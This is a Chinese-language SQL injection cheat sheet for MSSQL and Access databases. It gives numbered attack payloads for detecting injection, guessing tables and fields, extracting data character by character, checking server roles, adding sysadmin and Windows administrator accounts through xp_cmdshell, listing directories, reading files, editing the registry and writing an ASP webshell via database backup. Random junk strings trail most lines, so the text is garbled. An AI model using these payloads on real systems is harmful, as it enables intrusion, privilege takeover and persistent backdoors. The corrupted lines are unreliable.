1.判断是否有注入;and 1=1 ;and 1=2 o2&mhT
2.初步判断是否是mssql ;and user>0 ~kF^0-JZY
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3.注入参数是字符'and [查询条件] and ''=' J4=~.&6
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' {QJJw}!#
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5.判断数据库系统 [&"`2n
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;and (select count(*) from sysobjects)>0 mssql kOeW,:&65
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;and (select count(*) from msysobjects)>0 access M/ >^_zG
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 P;][i| x
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ioz4kG!
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9.(1)猜字段的ascii值(access) UJ
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 `Z0FQ( r_
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(2)猜字段的ascii值(mssql) "! m6U#^
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 l*":WzRGvF
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10.测试权限结构(mssql) h b_"E, `F
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )pbsvR_
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- :[kfWai #(
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #Ipi 3
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8,7^@[bzXx
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ~l+2Z4nV
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ]{s0/(EA
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;and 1=(select IS_MEMBER('db_owner'));-- SYkwM6
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11.添加mssql和系统的帐户 L7;8:^ v
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;exec master.dbo.sp_addlogin username;-- ^CO{86V
;exec master.dbo.sp_password null,username,password;-- c#(Hh{0
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- vhIZkz!9
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;exec master.dbo.xp_cmdshell 'net user username password ~t^
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;x%"o[[>
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- EMQGP<[
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12.(1)遍历目录 )Fon;/p
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;create table dirs(paths varchar(100), id int) n&OM~Vs
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;insert dirs exec master.dbo.xp_dirtree 'c:\' %
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;and (select top 1 paths from dirs)>0 'b)qP|
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) v;soJlxF~
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(2)遍历目录 }`cf3'rdk
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <aztbq?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 L"bZ~'y
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 &^2SdF
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 J0V`sK
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *4/FN TC
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13.mssql中的存储过程 /sfJ:KP0
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xp_regenumvalues 注册表根键, 子键 m??Py"1y
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 L!>nl4O>`
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xp_regread 根键,子键,键值名 <d @9[]
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 =Ox}WrU~
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xp_regwrite 根键,子键, 值名, 值类型, 值 ]{oZn5F
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 fWZ(
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xp_regdeletevalue 根键,子键,值名 3pg=9*{
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 AHRJ7l;a
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3P9ux
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14.mssql的backup创建webshell #F`A(n
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use model 2 /FQ;<L
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create table cmd(str image); lDTHK2f
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insert into cmd(str) values (''); 3V<@Vkf5
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backup database model to disk='c:\l.asp'; AH|gI2
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15.mssql内置函数 @@)2 12
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;and (select @@version)>0 获得Windows的版本号 !bP%\)5
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ,;_+o]
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;and (select user_name())>0 爆当前系统的连接用户 tO&ffZP8$
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;and (select db_name())>0 得到当前连接的数据库 CuWJai:nQ;
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16.简洁的webshell DsejZ&
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use model Ut;`6t
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create table cmd(str image); cg.{oM wa
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insert into cmd(str) values (''); hW~.F
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backup database model to disk='g:\wwwtest\l.asp';